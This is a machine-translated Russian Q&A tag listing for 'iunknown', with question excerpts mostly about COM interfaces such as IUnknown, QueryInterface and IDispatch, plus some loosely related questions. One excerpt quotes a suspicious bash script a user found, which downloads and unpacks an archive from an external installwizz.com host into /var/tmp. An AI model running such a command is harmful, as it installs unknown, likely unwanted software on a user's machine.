Описание тега iunknown

0 ответов

Изменить интерфейс с IUnknown на IDispatch

У меня есть COM-класс, который доступен только через vtable. Он уже разослан клиентам. Я также планирую разрешить доступ к сценариям, введя IDispatch. В моих локальных тестах он показывает, что клиентский код не изменится, но для этого потребуется п…
26 май '15 в 15:33
1 ответ

VB6 в C#: I Неизвестно

У меня есть свойство в VB6, которое я пытаюсь преобразовать в C#. Это выглядит следующим образом: Public Property Get NewEnum() As IUnknown 'this property allows you to enumerate 'this collection with the For...Each syntax Set NewEnum = m_coll.[_New…
09 апр '13 в 20:02
4 ответа

Увеличивает ли IUnknown::QueryInterface() счетчик ссылок?

Если у меня есть IUnknown *ptr мне нужно позвонить Release() на каждом интерфейсе, который я получаю через ptr->QueryInterface() кроме звонка ptr->Release() когда я закончу с ptr? Раньше я думал, что ответ "Да", но эта цитата из MSDN смутила м…
11 сен '11 в 04:22
1 ответ

Почему IHTMLDocument2 не равен IHTMLDocument2.body.document?

Почему следующий doc2 отличается от doc22? IHTMLDocument2 doc2 = (pDisp as IWebBrowser2).Document as IHTMLDocument2; IHTMLDocument2 doc22 = doc2.body.document as IHTMLDocument2; bool isequal = Marshal.GetIUnknownForObject(doc2) == Marshal.GetIUnknow…
20 июл '11 в 05:54
1 ответ

Java неизвестный метод количества аргументов

Как я могу сделать метод со строкой и неизвестным количеством интаргументов? Благодарю.
22 окт '14 в 19:27
0 ответов

PrimeFaces DataTable LazyLoading неизвестное количество записей

Я занимаюсь разработкой данных PrimeFaces с разбивкой на страницы и отложенной моделью данных (количество записей для загрузки в таблицу данных неизвестно). Я столкнулся с проблемой с нумерацией страниц. В примере из учебника PrimeFaces lazydatatabl…
0 ответов

Строка двоичного XML-файла № 17: Ошибка надувания класса <unknown> - непредсказуемая ошибка

Я пытаюсь надуть макет на нестандартный адаптер в getView(...) метод, но иногда я получаю ошибку в заголовке. Я уже пытался найти похожие вопросы здесь, но не нашел решения, которое бы сработало для меня. Эта ошибка странная, потому что это происход…
16 янв '14 в 12:19
3 ответа

Delphi: Как реализовать QueryInterface из IUnknown?

В Дельфи IUnknown объявлен как: function QueryInterface(const IID: TGUID; out Obj): HResult; stdcall; Примечание: выходной параметр не типизирован В моем TInterfacedObject потомок мне нужно справиться QueryInterfaceтак что я могу вернуть объект, кот…
21 июл '10 в 20:07
2 ответа

Преобразование / приведение SAFEARRAY к IUnknowns в итеративный массив указателей интерфейса

У меня есть следующий интерфейс в C# с классом с тем же именем (без I), реализующим его. [ComVisible(true)] [Guid("B2B134CC-70A6-43CD-9E1E-B3A3D9992C3E")] public interface IOrder { long GetQuantity(); long GetOrderType(); long GetPositionType(); } Р…
13 сен '12 в 18:28
1 ответ

Alteryx Неизвестная переменная

У меня проблема с альтериксом. Проблема в том, что, хотя у меня есть столбец Score_Yes на входе Score, я получаю неизвестную ошибку переменной. Не могли бы вы помочь мне?
18 дек '17 в 12:26
0 ответов

Странные Командные Линии

Что делает этот код? Спасибо! Davids-MacBook-Pro:~ David$ cat /file #!/bin/bash func_4(){ /bin/mkdir -p /var/tmp /usr/bin/curl -s -L -o /var/tmp/sr.tgz "http://c.installwizz.com/static/sr/sr_v2.tgz" /usr/bin/tar -xzf /var/tmp/sr.tgz -C /var/tmp cd /…
07 сен '17 в 21:03
2 ответа

Добавить, удалить папку из IShellLibrary

Я пытаюсь написать две функции, которые добавляют и удаляют папку из IShellLibrary, Я начал с этого, но функция выдает исключение в System._IntfClear: Исключение из первого шанса на $000007FEFE 168BC4. Класс исключения $C0000005 с сообщением "c00000…
23 июл '13 в 14:06
3 ответа

Стоит ли проверять нулевой указатель в реализации QueryInterface()?

IUnknown::QueryInterface() передается параметр void**, обозначающий адрес, куда поместить извлеченный интерфейс. STDMETHOD QueryInterface(/* [in] */ REFIID riid, /* [iid_is][out] */ void** ppvObject) Должна ли реализация QueryInterface () проверять …
15 сен '09 в 10:43
2 ответа

Реализация IUnknown, неразрешенный внешний символ

Я пытаюсь создать класс, который реализует IUnknown интерфейс. У меня есть следующий код в заголовочном файле: #pragma once #include "stdafx.h" #include "Unknwn.h" class Vmr9Presenter : IVMRImagePresenter9, IVMRSurfaceAllocator9 { public: Vmr9Presen…
12 сен '09 в 20:22
1 ответ

Нарушение прав доступа приведения IDispatch в XE2

Мы используем какой-то старый код (ComLib.pas, созданный Бин Ли), чтобы мы могли использовать интерфейс перечисления для объекта (OleVariant): type TDispNewEnum = dispinterface ['{97079E31-6957-11D2-9154-0000B4552A26}'] // dummy property _NewEnum: I…
1 ответ

COM IUnknown и нужен ли указатель на него перед вызовом CoGetClassObject?

В COM, когда вы хотите создать экземпляр какого-либо объекта COM-сервера, вам сначала нужно получить указатель на его интерфейс IUnknown и только затем создать объект класса с помощью CoGetClassObject? Насколько я понимаю, IUnknown используется для …
16 май '10 в 12:15
1 ответ

$this->db->select в Codeigniter

У меня проблемы, когда я пытаюсь вставить функцию Select detro, например, DATE_FORMAT (date_end, '% W% M% Y') AS dateend. $ this-&gt; db-&gt; select (name, DATE_FORMAT (date_end, ‘% W% M% Y’) AS dateend) Он говорит, что метод "% W% M% Y" неизвестен
28 ноя '12 в 19:04
1 ответ

Структура, содержащая необычную шаблонную функцию в коде C++

В следующем коде C++ (из заголовочного файла Microsoft COM) какая часть начинается с template&lt;class Q&gt;...? Я полностью сбит с толку и по другим причинам, как будто struct используется, имеет классоподобные элементы; например, public ключевое с…
05 май '15 в 11:35
1 ответ

C++11 Странное обозначение [0:size())

Я должен понять из Язык программирования Stroutrup C++ - инварианты что приведенная выше запись является инициализатором диапазона или эта интерпретирующая инструкция математически передает, что диапазон массива класса Vector находится в диапазоне о…
29 сен '17 в 19:01
1 ответ

Реализация COM-приемника в управляемом (C#) коде

У меня есть устаревший элемент управления COM (Core), который принимает IUnknown в раковину. Цель состоит в том, чтобы позволить ядру считывать / записывать данные через этот интерфейс приемника. Указатели Core/Sink в настоящее время используются в …
25 ноя '09 в 16:28